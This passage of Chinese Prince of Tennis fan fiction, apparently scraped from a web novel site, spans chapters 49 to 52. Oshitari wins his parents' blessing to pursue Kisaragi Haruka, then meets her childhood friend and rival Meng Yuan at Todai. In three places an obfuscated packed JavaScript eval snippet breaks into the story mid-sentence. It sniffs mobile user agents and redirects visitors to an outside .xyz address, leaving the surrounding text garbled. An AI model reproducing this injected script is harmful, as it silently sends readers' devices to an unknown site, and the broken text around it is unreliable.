“是,父亲。”他坦然承认,“我确实有喜欢的人了。” “但她不是清水绫子。” “她…也在那次的赏花宴上。” 听到这里,忍足父亲紧锁的眉头稍微松开了一些。 对方也在赏花宴上,那说明同样是出身名门的世家小姐。 联姻的对象换个目标也未尝不可,他心中的那点因为“联姻失败”而产生的不快瞬间被取代。 “哦?是哪家的千金?”忍足父亲身体微微前倾,语气带上了浓厚的兴趣,“叫什么名字?父亲或许认识?” 忍足侑士的心提了起来。 他看着父亲眼中那重新燃起的带着审视的光芒,立刻意识到父亲的想法。 “父亲,抱歉,我现在还不能告诉您她是谁。” 迎上父亲不解的目光,忍足坦诚道:“只是我单方面的喜欢。她……还没接受我。” “我现在正在追求中。所以,请给我一点时间,可以吗?” 就在这时,书房的门被轻轻推开了。 母亲端着热茶走了进来,显然刚才在门外听到了父子俩的部分对话。 她没有立刻说话,只是将茶轻轻放在丈夫手边,然后温柔地看向自己的儿子。 作为母亲,她比丈夫更加细腻敏锐。 她清晰地知道自己这个儿子在感情上有多么内敛克制。从小到大,他身边从不缺少爱慕者,但他一直保持着恰到好处的距离,从未对谁表达过明确的喜爱。 此刻,能让他如此认真诚恳地向父母表明心意,甚至不惜公开拒绝联姻,只为守护一个尚未确定的追求对象。 这个女孩,对他而言,一定非常、非常重要。 父母对视了一眼,无需言语,多年的默契让他们瞬间明白了彼此的想法。 忍足父亲看着儿子那张严肃又带着恳求的脸,想起了他从小跟着自己工作调动,频繁转学,努力在新环境中迅速冷静、适应、融入,却很少真正表露自己的需求和脆弱,那份长期压抑的独立背后,是辛苦和孤独。 心中那点关于联姻的计较,在儿子这份前所未有的认真面前,忽然显得不那么重要了。 靠回椅背,脸上的严肃渐渐消失了,显然他妥协了。 “你都这么说了……” “随你吧。” 父母两人都目光复杂地看着儿子,“那你……加油。” 面对着自己的儿子,忍足父亲做出了重要的保证:“如果你真的不愿意,不联姻也无所谓。” “只要你喜欢就好。” 忍足侑士如释重负,父母的包容和理解,远比他预想的要顺利得多。 “谢谢父亲!谢谢母亲!”他深深地鞠了一躬。 忍足侑士怀着轻松的心情离开了书房,门关上后,忍足父亲拿起桌上的茶,轻轻抿了一口。 母亲走到他身边,轻轻拍了拍他的肩膀问,“很意外?” 放下茶杯,目光望向窗外沉沉的夜色,沉默良久。 “是啊……” 他长长地叹息一声,显然有些愧疚,“这孩子…从小跟着我到处搬家,习惯了冷静,习惯了适应……” “…辛苦他了。” “他喜欢谁……” “就是谁吧。” 他看向妻子,露出一抹温和的笑意:“不强求了。” 燥热的蝉鸣在东京的钢筋森林上空盘旋,宣告着盛夏已至尾声,暑假也即将画上句点。 忍足侑士的生活如同精准的钟摆,回到了规律而充实的轨道。 轻井沢短暂的喧嚣过后,是更为专注的沉淀。 他的生活被清晰地划分为三大领域:深奥严谨的医学研究、网球场上挥洒汗水的激烈对抗,以及那皎月般清冷的存在。 教授提出的那几个医学难题,如同横亘在眼前的险峰,极具挑战性却也令他着迷。 他埋首于浩如烟海的文献和数据之中,甚至将研究课题带回家,与同样身为医学权威的父亲进行深度探讨。 书房里常常灯火通明至深夜,父子俩对着复杂的图谱争论、推演,空气中弥漫着咖啡的香气和思维的激烈碰撞。 每周与迹部的网球对练是雷打不动的项目,迹部的洞察力与绝对的实力是磨砺他球技的最佳砥石。 此外,他严格遵循着如月发给他的“进阶视频”,进行着枯燥却极为有效的下盘和四肢力量训练。 每一次的肌肉酸痛,都仿佛是她无形中的鞭策。 而最重要的“定点任务”,则是每隔三天,准时出现在如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526651|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月家那栋森严别墅的门口。 目的只有一个:检查她左手伤口的恢复情况。 虽然知道如月家有顶级的医疗团队随时候命,但忍足的心里始终悬着一块石头。 唯有亲眼看到、亲手检查过那道伤口,他才能获得片刻的安心。 这份固执的坚持,带着医学生的严谨,更带着一种近乎偏执的牵挂。 起初,如月对这种“额外的关切”表现得极其不耐烦,冷着脸拒绝了几次。 但忍足是谁? 他深谙在如月遥面前如何熟练运用“无赖战术”和“专业壁垒”。 摆出最诚恳的担忧表情,用最专业的术语陈述伤口护理不当可能引发的严重后果,再辅以决不退缩的韧劲。 几次三番下来,如月终究是拗不过他,只能面无表情地伸出手,默许他近乎仪式般的检查。 此刻,庭院树下的阴凉处。 如月慵懒地靠坐在藤椅上,看着忍足托起她的左手,细细审视那道伤口。 夏末的风带着微燥的热气,吹动她额前的碎发。 阳光透过树叶的缝隙,在她的手腕上投下斑驳的光影。 伤口已经愈合了,新生的皮肤呈现出淡淡的粉色。一条如同浅粉色蚯蚓般的疤痕,清晰地盘踞在她原本完美无瑕的肌肤上,显得格外刺眼。 忍足眉头紧紧,指尖极其轻柔地抚过疤痕的边缘,眼神里充满了在意。 这道疤,就像是他无能的烙印。 “啧,”如月遥看着他这副“如丧考妣”的模样,不耐地嫌弃,“看够了没?早说了没事。” 她试图抽回手,却被忍足下意识地更紧地握住了手腕。 “疤痕很难完全祛除……”忍足的声音有些发涩,带着医学生的悲观,“再好的药也难以保证恢复到完美无缺的状态。” “谁说的?”如月遥挑眉,语气带着点理所当然的平静,“我就有药。” “我身上的疤,都是用了这个药涂没的。” 她的语气平淡,仿佛在说一件再寻常不过的事情。 然而这句话如同惊雷,在忍足平静的心湖里炸开滔天巨浪。 “身上……还受过伤?” “严重到需要留疤的伤?” “还有多少处?” 如月遥被他骤然紧张起来的反应噎了一下。 看着他眼中不加掩饰的担忧,心头掠过一丝极其陌生的感觉。 移开视线不再看他,侧过脸望向庭院深处摇曳的花丛,声音带着一丝刻意的回避: “不告诉你。” 她越是不说,忍足的心就越沉。 那避而不答的姿态,那轻描淡写的语气,这只能说明,那样的伤绝不是一处两处。 那样的经历,也绝非寻常。 虽然皮肤的疤痕可以被药物淡化甚至祛除,但那些刻在身体上的印记背后,所承载的伤痛记忆呢? 那些剧烈的疼痛,无助的瞬间,独自面对的黑暗,每每想起,该有多疼? 如同钝器击打般的痛楚,在忍足的心口蔓延开来,闷得他喘不过气。 他看着眼前沐浴在阳光下的清冷侧影,第一次如此清晰地感受到她身上那份神秘所带来的沉重。 可此时的他无权追问。 低下头,再次看向那道浅粉色的疤痕,眼神变得无比坚定。 “我会尽快考取从医资格证。” “到时候,我来做你的私人医生。” 不再是调侃,不再是试探,不再是开玩笑,这是他深思熟虑后的郑重决定。 他要守护她的健康,成为她最坚固的一道防线。 如月遥本来只是随口一提,带着点打发他走的嫌弃意味。此刻,却被他眼中那份前所未有的认真和誓言般的语气震住了。 心尖泛起一圈圈陌生而滚烫的涟漪,让她有些无所适从。 站起身,动作快得带倒了藤椅。 “谁要你……” 声音明显底气不足,带着点连她自己都没意识到的紧张。 转身就快步朝着主宅的大门走去,背影带着点落荒而逃的意味。 “赶紧走!别在这儿碍眼!” 忍足侑士站在原地,看着那扇在她身后迅速关上的厚重雕花门。 阳光透过树叶,在他身上投下摇曳的光斑。 没有失落,嘴角反而缓缓地向上扬起。 刚才他清晰地看到,在他郑重说出那句“做你的私人医生”时,大小姐那白皙的耳廓瞬间漫上了一层极其可爱的、淡淡的粉红。 笑意从嘴角蔓延到眼底,眸子里盛满了温柔的光。 弯下腰,扶起被带倒的藤椅,仿佛扶起了半个夏天的回忆。 “嗯,这就走。” “下次再来看你。” 50. 第 50 章 暑气被飒爽的秋风涤荡,东京大学校园里的梧桐叶边缘染上微黄。 假期的气氛一扫而空,取而代之的是充满学术气息的忙碌。 学生们抱着厚重的书本穿梭在古老的建筑之间,步履匆匆,交谈声此起彼伏。 暑假的奇闻轶事、新学期的课程难度、临近毕业者关于实习和工作的焦虑,构成了一曲独属于象牙塔的青春交响。 忍足侑士和迹部景吾并肩走在通往医学部的林荫道上。 两人都已升入大四,褪去了青涩,眉宇间多了几分沉稳。 不过忍足作为医学生,离真正毕业还有两年时间。如果一切顺利,或许能和如月遥同期毕业,这个念头让他嘴角不自觉上扬。 “喏,你要的。”迹部将选课单精准地拍到忍足怀里,神态嚣张又矜贵,“文学部《日本近代诗歌鉴赏》,如月遥也选了。” “真不明白你,解剖图谱都看不完,还要去啃那些晦涩的俳句。” 忍足接过选课单,宝贝似的收进口袋,推了推眼镜,毫不掩饰愉悦,“啊呀啊呀,文学可以陶冶情操,拓宽视野嘛。” “再说了,欣赏美的事物,对身心都有益。” 他话里的“美的事物”指的是谁,不言而喻。 新学年,意味着新鲜血液的涌入。 礼堂前、告示板旁,一张张充满好奇和朝气的年轻面孔交织。 文学部作为东大传统热门院系,课程尤其是容纳量有限的选修课,向来是“兵家必争之地”。 而今年的“日本近代诗歌鉴赏”更是火爆得一塌糊涂,抢课系统一度崩溃。 原因无他,只因这门课的名单上,有着一个令人无法忽视的名字——如月遥。 对于那些刚踏入东大、尚未听闻过“地狱玫瑰”往事的新生来说,图书馆窗边那个安静阅读的清冷侧影,低垂的眼睫,甚至是课堂上被教授提问时那冷静精准的寥寥数语,都足以成为致命的吸引。 深潭冷月,神秘、遥远,却又散发着无法抗拒的引力。 于是,尽管“医学部天才王牌忍足侑士是如月遥绯闻男友”的传言在校园里早已不是秘密,但总有不信邪或自命不凡者,抱着“只要锄头挥得好,没有墙角挖不倒”的壮志雄心,前赴后继地想要成为摘下这朵高岭之花的勇士。 文学部课程的系统崩溃,一半功劳恐怕要记在这些“追月者”头上。 迹部悠闲地划拉着手机,忽然停下脚步,饶有兴致地将屏幕转向忍足。 “瞧瞧,”华丽的声线带着浓重的揶揄,“‘追月计划行动组’,啧,这名字起的。” “帖子已经盖到七百多楼了,分析你的弱点,制定攻略路线,还有每日签到打卡,热情高涨啊。” 屏幕上赫然是东大匿名论坛里一个飘红的热帖,标题醒目: 【文学部冰山女神攻略战报!只要锄头挥得勤,天才的墙角也能松!】 帖子里充满了热血沸腾的宣言: “忍足侑士算什么!不过是近水楼台!” “女神现在单身!单身就有机会!” “只要没结婚!我就绝不放弃!” “兄弟们!行动起来!下节课制造偶遇!” 迹部收回手机,似笑非笑地扫过忍足,促狭几乎要溢出来:“看来如月女神魅力和本大爷比起来,也不遑多让。” “只要戒指没戴上,追求者的队伍,永远不会断。” 他刻意拖长了尾音,“所以…你打算什么时候,彻底终结这些‘追月者’们的希望呢?” 言下之意,问他和如月何时能修成正果。 忍足侑士推了推眼镜,并没有预料中的紧张或愤怒,反而漾开一片沉稳而笃定的光。 他看着论坛上那些充满荷尔蒙的狂热宣言,嘴角甚至勾起笑意。 “让他们闹去吧。” 他的声音慵懒磁性,近乎超然的淡定,“我和如月……” 他想起轻井泽的并肩赏烟火、昏暗影院里触碰的手、甚至那间只有两张床的标间里,黑暗中她的呼吸。 “我们的羁绊,不是这种程度的喧嚣能动摇的。” 他拉过她的手,拥抱过她受伤的身体,甚至和她同住过一个屋檐下,分享过夜晚的寂静与气息。 他见过她狼狈的样子,也见过她卸下冰冷防备后,那一点点别扭的柔软。 在他面前,她不再是那个完美无缺、遥不可及的“地狱玫瑰”。 她有自己的脾气,有小小的任性,有难以言说的过去,也有被他笨拙的温柔一点点撬开的缝隙。 他确信,在那颗清冷如月的心房里,已经有他忍足侑士一个小小的、但独一无二的角落了。 迹部看着好友这副志得意满、仿佛已经胜券在握的样子,优雅地挑了挑眉,闪过一丝看好戏的锐利光芒。 “哦?”华丽的尾音微微上扬,带着十足的玩味,“看来信心十足啊。” “那本大爷就拭目以待,持续关注后续发展了。” 他相信忍足的判断,但也深知如月遥那颗心的分量和难以琢磨。 这场“追月”大戏,恐怕远未到落幕之时。 忍足侑士那份如同磐石般的自信,在开学第三天的中午,遭遇了史无前例的剧烈冲击,几乎瞬间被撞得摇摇欲坠。 地点是东大餐厅,正值午餐高峰,人声鼎沸。 忍足和迹部坐在靠窗的位置,正和迹部讨论着下午实验课的细节,眼角余光习惯性地扫视着门口进出的身影。 突然,餐厅入口处传来一阵不大不小的骚动,伴随着窃窃私语。 这种动静,忍足太熟悉了。 除了迹部景吾,通常只意味着另一个人的出现。 果然,如月遥出现在门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526652|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>简单的白色衬衫和黑色长裤,墨黑的长发随意束在脑后,露出线条优美的颈项。阳光从她身后打进来,给她周身镀上了一层朦胧的光晕。 忍足疑惑。 这个时间点,她应该还在文学部上课才对?怎么会出现在这里? 疑惑归疑惑,身体已经先于思考做出了反应。 下意识地放下手中的筷子,身体微微前倾,嘴角自然地扬起温和的弧度,准备开口喊她过来一起坐。 然而,就在他唇瓣微启的瞬间,如月遥身后,紧跟着走进来另一个人。 那是一个从未见过的年轻男人。 黑发,黑眸,如同最深的夜空。 脸部轮廓清晰而深刻,鼻梁高挺,下颌线利落,组合成一张极其俊美的面容。 个子很高,身形挺拔如松,穿着剪裁合体的浅灰色休闲西装,手里拿着一本厚厚的精装书。 他跟在如月遥身后半步的距离,姿态从容,却带着不容忽视的存在感。 忍足的笑容僵住,警惕如同电流瞬间窜遍全身。 眼眸骤然眯起,如同锁定猎物的鹰隼,锐利地审视着那个陌生男人,以及他和如月遥之间那近得不同寻常的距离。 那绝不是普通同学能靠近的距离。 那是如月遥允许的“近身距离”。 忍足非常清楚,能进入这个“安全范围”需要付出多少努力。 更让他心头发紧的是,如月遥还在低声对那个男人说着什么。 虽然听不清内容,但她微微侧头的姿态,以及男人专注倾听的神情,都显示出一种不同寻常的熟稔和默契。 她甚至抬手指了指餐厅的窗口方向,像是在为他介绍环境。 虽然表情依旧寻常样子,但那份主动引导的行为,是忍足在她对待其他陌生人时从未见过的。 迹部敏锐地察觉到了好友的僵硬,优雅地端起咖啡杯抿了一口,饶有兴致地在门口那对身影和忍足紧绷的侧脸上来回扫视。 有趣……太有趣了…… 看来那“坚不可摧”的自信,遇到了前所未有的挑战? 如月遥选好了餐,端着餐盘转身。 扫过餐厅,恰好与迹部带着玩味笑意的视线对上。 迹部非常“善解人意”地、带着十足看戏意味地,朝如月遥挥了挥手,示意他们这边有空位。 目光在迹部脸上停留了一瞬,又扫过他旁边那个脸色古怪的忍足。 没有任何犹豫,微微颔首,然后竟然真的带着那个俊美得刺眼的陌生男人,朝着他们这桌走了过来。 忍足僵硬地重新坐回椅子上,手指无意识地攥紧了桌沿,指节微微发白。 看着如月遥领着男人越走越近,每一步都像踩在他的心尖上。 迹部脸上的笑容越发灿烂,毫不掩饰的幸灾乐祸和期待。 好戏开场了。 51. 第 51 章 如月遥和男人落座。 忍足只觉得身下的椅子如同生了刺,每一个细胞都在叫嚣着紧绷和警惕。 “迹部景吾。” “忍足侑士。” “他们是我在东大的朋友。” 她转向忍足和迹部,指着身边的男人,语气比刚才介绍他们时多了几份熟悉: “孟远。” 她停顿了几秒,似乎在寻找一个合适的定义,犹疑又归于平淡: “他是我在中国的……” “朋友。” 随着那个短暂的停顿和最终落定的“朋友”二字,不安瞬间在忍足心头蔓延开来。 这绝不是普通的“朋友”。 孟远脸上带着恰到好处的微笑,朝忍足和迹部点了点头:“幸会。” 他的日语发音标准流畅,带着自然的韵律感。 “我是东大法学部的交换生,目前也是大二。” 笑容加深,带着理所当然的亲昵:“阿遥性子冷淡,鲜少能有朋友。” “既然二位都是她的朋友……” “那也是我的朋友了。” 说着,他极其自然地伸出手,姿态从容,温润如玉,带着世家子弟的风度。 迹部嘴角噙着优雅的笑意,“幸会。” 礼节性地与孟远握了一下,动作完美无缺。 轮到忍足了。 忍足侑士强迫自己压下胸腔里翻涌的惊涛骇浪。 阿遥。 这样亲昵甚至带着点宠溺意味的称呼,这个叫孟远的男人,竟然如此自然地、随口就说出来了? 仿佛已经叫过千百遍一般! 他是谁?! 他到底是谁?! 他凭什么?! 无数个疑问如同冰锥,狠狠刺穿着忍足那刚刚建立的自信堡垒,然而多年世家熏陶和理智,让他压住了所有外露的情绪。 眼眸如同冻结的深海,表面平静无波,底下暗流汹涌。 伸出手,同样礼节性地与孟远握了一下。 “幸会。” 低沉平稳,听不出任何异样。 气氛陷入一种诡异的安静。 如月遥和孟远似乎都没觉得有什么不妥,各自低头吃起了午餐。 忍足的视线却如同被无形的线牵引着,根本无法从对面两人身上移开。 每一次,如月的指尖刚抬起,孟远已经提前一秒抽出了纸巾,动作流畅地递到了她的手边。 精准。 快速。 熟练得仿佛这个动作已经演练过一百万次。 而如月遥呢? 她也是自然地接过,甚至连眼皮都没有抬一下,平静得仿佛本该如此。 完全没有察觉到,这张小小的纸巾传达出来的默契,掀起了怎样的惊涛骇浪。 当如月遥拿起甜点布丁时,忍足的心再次提起。 果然。 孟远的目光扫过布丁,眉头几不可察地轻蹙了一下,如同兄长看着贪嘴的妹妹,语气温和却不容置疑:“少吃点甜的。” 如月遥眼眸抬起来,带着明显的不爽,瞪了孟远一眼。 孟远却对她的不满视若无睹,依旧淡定地切着自己盘中的食物,“上次吃多了闹牙疼,半夜发脾气摔东西,还来敲我房门的事,忘了?” 轰——! 忍足侑士只觉得脑子里像是引爆了一颗炸弹。 半夜! 敲门! 他握着筷子的手猛地收紧,指节因用力而泛出青白,视线死死钉在孟远那张俊美而平静的脸上。 这个男人到底知道多少? 他和如月之间到底是什么关系? 为什么能如此理所当然地管束着她? 为什么能如此清晰地记得她的习惯和过往? 如月遥被噎了一下,脸上闪过被揭短的羞恼,还有明显的不服气。只是恨恨地挖了一大勺布丁塞进嘴里,用行动表达无声的抗议。 这份熟稔。 这份如同呼吸般自然的默契。 这份带着纵容和管束的亲昵。 在忍足侑士眼中,简直比最猛烈的炸弹更具毁灭性。 他一直以来建立的、关于自己在如月心中拥有“特殊位置”的认知,在这个从天而降的孟远面前,仿佛脆弱的沙堡,正在被无情的海浪迅速冲刷瓦解。 他努力维持着表面的绅士礼仪,脊背挺得笔直,嘴角甚至试图扯出一个僵硬的弧度。 迹部悠闲地切着盘子里的牛排,在对面的两人和自己身边这位“表面坚强内心崩塌”的好友之间来回扫视,玩味的笑意越来越深。 这场午餐……还真是……意外之喜啊。 如月遥起身前往洗手间的身影刚刚消失在餐厅转角,餐桌上的空气瞬间凝固,如同被抽干了所有水分,只剩下三个男人之间无声紧绷的暗流。 孟远在如月面前那副温润如玉的姿态悄然褪去。 他慢条斯理地放下手中的刀叉,拿起餐巾擦了擦嘴角,动作无可挑剔。 然而,当他看向忍足时,深邃的黑眸里却清晰地掠过毫不掩饰的嘲讽。 锐利如刀,轻易剥开忍足强装的平静表象。 迹部眼眸微微眯起,如同经验丰富的猎人嗅到了不同寻常的气息。 作为挚友兼僚机,他有必要为忍足探探这个“天外来客”的底细。 “孟君,”迹部声音华丽而带着恰到好处的好奇,打破了沉寂,“似乎与如月同学非常熟稔?看来,并非普通的‘朋友’关系?” 他将“朋友”二字加了微妙的着重音。 孟远闻言,勾起一抹浅笑,那笑容温雅依旧,却莫名地带着居高临下的从容。 “熟稔?”他重复了一遍,仿佛在品味这个词的分量,轻轻摇头,“从小一起长大的,算‘普通朋友’吗?” 微微歪了下头,露出一丝恰到好处的疑惑,随即自问自答,声音清晰笃定:“或许,更接近家人吧。” 如同在陈述一个毋庸置疑的事实,语气却带着无形的炫耀:“或者,用你们日本的习惯说法——‘幼馴染’。” “幼馴染”三个字如同一柄重锤,狠狠砸在忍足的心防上。 青梅竹马…… 从小一起长大…… 家人…… 每一个词都像淬了毒的箭矢,精准地射穿了他刚刚建立起的、关于“特殊羁绊”的幻想。 “哦?这么巧?”忍足的声音听起来还算平稳,“一起考上了东大?” 孟远闻言,神情仿佛在责怪忍足问了一个多余的问题。 语气无奈又展露出显而易见的关切。 “本来我没打算来的。” “可是…阿遥受伤了。” 声音温和,却字字如刀,“她在日本孤身一人,我不放心。” “所以就申请交换生过来了。” 他似乎完全没有感受到忍足眼中压抑的风暴,或者根本不在意,自顾自地说了下去,语气自然而然地流露出深入骨髓的占有欲。 “阿遥啊……从小就是我照顾的。” 唇边带着宠溺又无可奈何的笑意,似乎在谈论一个被自己惯坏的女孩子。 “她脾气大,又娇气惯了,离不了人。” 这份自然的亲昵宣告,如同冰冷的毒蛇,瞬间缠绕忍足的心脏。 迹部适时地接过话头,“之前听闻法学院交换生中有一位极为出色的学生,想必就是孟君了?” 孟远笑了笑,没有丝毫谦卑,只有掌控全局的自信:“优秀不敢当。” “只是足够努力罢了。” “努力站在阿遥身边罢了。” 每一句话,每一个字,落在忍足耳中,都像是一把把钝刀在反复切割。 这个孟远,在用最温和的方式,宣告着他对如月遥最深刻的了解和守护。 这是忍足从未涉足、甚至难以想象的漫长岁月积累起来的羁绊。 忍足强迫自己冷静下来。 不能在敌人面前示弱,绝对不能! 然而,孟远显然没有放过他的意思。 他像是想起了什么有趣的事情,浅淡而极具讽刺意味的笑容浮现:“说起来,东大还真是有趣。” “论坛也颇为热闹。” 他微微向前倾身,声音压低了些许,却清晰地传入忍足和迹部耳中:“我们阿遥居然有‘绯闻男友’?” 视线牢牢锁定忍足,显然已经从论坛铺天盖地的信息中,确认了眼前这位就是“男主角”。 孟远轻轻笑了声,如同玉石轻击,悦耳却冰冷。 “世人以讹传讹的事,大多都是假的。” 身体后靠,姿态从容,黑眸深邃如寒潭,吐出的字句清晰而诛心。 “这世上有些事,假的,真不了。” “真的,也假不了。” 赤裸裸的挑衅。 这是在明明白白地告诉二人: 你忍足侑士,不过是“假的”。 而他孟远,才是那个“真的”。 几秒钟死寂般的沉默后。 忍足的脸上,缓缓地扯开了一个堪称完美的微笑弧度。推了推眼镜,眼眸在镜片后如同冰封的深海,幽暗不见底。 声音异常平稳,属于关西腔的慵懒也透了出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这已经超越了“青梅竹马”的范畴! 这简直…是家人的特权!是同居的默认! 忍足清晰地听出了孟远这句话里赤裸裸的炫耀和挑衅。 他就是故意的! 故意在他面前宣告主权! 故意展示他与如月遥之间那坚不可摧的亲密壁垒! 如月遥对此浑然不觉,顺口应道: “嗯,已经让保姆打扫好了。” 轻描淡写,理所当然。 这份不经意流露出的习惯性安排,比任何刻意的宣告都更具杀伤力,仿佛孟远住在那里,是吃饭喝水般天经地义的事情。 忍足感觉自己的心脏像是被狠狠攥紧、揉搓,难受得几乎无法呼吸。 他第一次真切地感受到了什么叫“隔阂”,什么叫“无法逾越的距离”。 他苦心经营、小心翼翼靠近的每一步,在孟远那如同呼吸般自然的“同居”面前,显得那么苍白可笑,那么不堪一击。 “我和阿远先走了。” “带他去法学部认认路。” 忍足甚至连一句“再见”都挤不出来,只能僵硬地点头,喉咙如同被砂纸堵住。 看着两人并肩离开的背影,孟远甚至还极其自然地落后半步,以一个守护者的姿态,侧身听着如月说话。 那和谐默契的背影,如同烧红的烙铁,狠狠烫在他的视网膜上。 直到彻底消失在餐厅门口,忍足才像被抽干了所有力气,颓然地靠回椅背。 脸色铁青,嘴唇抿成苍白的直线。 周围喧嚣的人声仿佛都远去了,整个世界只剩下他自己沉重的心跳声。 迹部扫过好友那阴沉得几乎要滴出水的脸色,眼神也凝重起来。 “看来……”迹部华丽的声音带着一丝少有的严肃,打破了死寂,“这个‘幼馴染’,是个狠角色啊。” 敏锐如迹部,当然能感受到来自孟远身上那种深藏不露的锋芒,和他强烈的领地意识。 这个男人,绝不是表面看起来那么温润无害。 忍足抬起头,满眼都是破釜沉舟的火焰。 不能再被动挨打了! 他必须知道这个孟远到底是什么来头! 盯着孟远消失的方向,声音沙哑,一字一句: “迹部,我要知道他的全部。背景,来历,和如月的所有关系。” 迹部放下咖啡杯,微微颔首,从容笃定。 “嗯。” “刚才已经吩咐下去了。” 他修长的手指轻轻敲了敲桌面,声音带着强大的底气。 心头的巨石并未移开,窗外阳光灿烂的校园,第一次觉得如此冰冷刺眼。 无声的战争,拉开序幕。 而他面对的,是一个强大到令人心悸的对手,一个几乎占据了天时地利人和、真正的“青梅竹马”。 52. 第 52 章 夜色深沉 忍足开着台灯,光晕笼罩着他紧绷的侧脸。 手机屏幕亮着,上面是迹部刚刚发来的文件,与此同时,电话也打了进来。 “资料收到了?”华丽的声音透过听筒传来,背景里还有纸张翻动的细微声响。 显然也在同步浏览这份详尽的调查报告。 “嗯。”忍足应了一声。 “孟远,”迹部如同在宣读一份详尽的判决书,“父母早亡,幼年被云家收养。” 云家,是如月遥母亲的本家,她的母族。 “他和如月同龄从幼儿园到高中,记录显示是同班同学。” “跟班,保镖,哥哥,家人……” “报告里用了无数词语来形容他与如月的关系。” “核心只有一个:有如月的地方,就有他。” “因为被收养的关系,两人自幼便在同一屋檐下成长。孟远……” 迹部似乎在斟酌措辞,“…主动承担了所有照顾如月的责任。” 这份“主动”,背后的含义耐人寻味。 “此人本身也非常优秀,”迹部话锋一转,“专攻法学方向,成绩优异,堪称顶级学霸。同时……” “精通格斗散打,持有多项证书。” 迹部念完了关键信息,最后,说出了那份报告里最核心也最具杀伤力的结论: “报告分析显示,中国圈内普遍猜测……” “孟远,是云家为如月精心培养的‘赘婿’人选。” 那几个字的份量,沉重得让忍足几乎窒息。 “干净,听话,知根知底。” “一心只为如月,永不会背叛。” 迹部一字一顿地复述报告中的评价,每一个词都像针一样扎在忍足心上,电话那头沉默了几秒。 似乎在给忍足消化这爆炸性信息的时间。 然后,他带着难得的不含玩笑的认真:“忍足,这次的对手异常强大。” 迹部仿佛穿透了电话线,隔空看到了好友此刻的表情,他迅速抛出了最尖锐的问题: “你准备放弃了吗?” 放弃? 忍足的目光从手机屏幕上移开,落在窗外沉沉的夜色上。 屏幕上那些冰冷的文字: 青梅竹马、共同成长、悉心守护、赘婿人选、永不背叛。 如同最锋利的冰棱,在他心中最初的震惊、愤怒、嫉妒和深不见底的担忧中搅动穿刺,带来尖锐的痛楚。 那份痛楚如此清晰,几乎让他窒息。 然而,就在这几乎将他淹没的负面情绪浪潮中,另一股截然不同的、更为炽热的力量,如同被压抑许久的熔岩,冲破了冰层。 放弃他的月亮? 把他视若珍宝、努力靠近、想要守护的清冷月光,拱手让给那个占据着天时地利人和的“青梅竹马”? 绝不。 一股前所未有的如同磐石般坚定的企图心,熊熊燃烧起来。 火焰驱散了动摇,烧尽了退缩,只剩下一种近乎偏执的志在必得。 凭什么? 就凭那所谓的“从小一起长大”? 就凭云家的“精心安排”? 就凭那份看似无懈可击的“永不背叛”? 他认识的如月遥,是那个会喝退黑熊的如月遥,是那个嫌弃他却默许他包扎的如月遥,是那个在烟火下被牵着手没有挣扎的如月遥,是那个别扭地说着“谁要你”却红了耳尖的如月遥。 她的心,她的选择,不该被所谓的“安排”和“习惯”所禁锢。 她是独一无二的月亮。 而他,忍足侑士,既然有幸窥见了月光下那一点点隐藏的温柔,就绝不会放手。 无论对手是谁。 “放弃?” 声音透过听筒传来,出乎迹部意料的平静。 并非麻木或妥协,而是风暴过境后的沉淀,一种将所有翻涌情绪淬炼成钢铁意志后的坚定。 简简单单几个字,却重逾千斤。 “那是我的月亮。” “我绝不会让给任何人。” 电话那头的迹部景吾微微一怔,随即欣慰地笑了。 他太了解这位挚友了。 球场上,看似低调、习惯编织陷阱的关西狼,在最关键的时刻,总能爆发出令人心悸的冷静和令人绝望的韧性。 永不放弃,执着到底。 “呵……”迹部低笑,华丽的声线重新带上了惯有的调侃,“看来是本大爷多虑了。” 他感受到了忍足“狩猎者”的光芒。 “那就加油吧,关西狼。本大爷拭目以待。” 听筒里传来忙音,忍足放下手机。 房间里一片寂静,只有他沉稳而有力的心跳声。 再次看向窗外那轮被云层半遮的明月,眼眸如同最坚定的星辰。 风暴已至。 但这一次,他不再是那个被动防守的挑战者。 他要主动出击,去争夺属于他的月光。 如月遥房间里 柔和的光晕洒在书桌上摊开的几份文件上。 笃笃。 两声轻微的敲门声响起。 “进。” 孟远修长的身影出现在门口。 换了身舒适的家居服,黑发微湿,卸去了白天的锐利,倒显出几分慵懒。倚靠在门框上,姿态放松。 “明天上学,一起走?”他声音带着点随意的询问。 如月遥的视线从文件上抬起,扫了他一眼,没什么情绪:“我早上没课,你自己去。” 孟远像是早就料到这个答案,也不在意。 他依旧靠在门边,目光在房间内扫了一圈,最后落回如月脸上,唇边勾起意味深长的浅笑:“东大还挺有趣的。” 他像是闲聊般开口,“课程挺有意思……” “人……也很有趣。” 如月遥身体微微后仰,靠进椅背里,眼眸直直地看向孟远,不耐烦地戳破他:“装什么?” “你来日本干什么的,心里没数?” “真当自己是来读书上学的?” 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甚至摊开双手,耸了耸肩:“没说什么啊?” “就是聊聊学校里的趣事,交流一下新生见闻嘛。” 如月遥写满了“你在逗我”的不信。 “你第一天来,跟他们聊什么学校趣事?” 这借口简直拙劣得可笑。 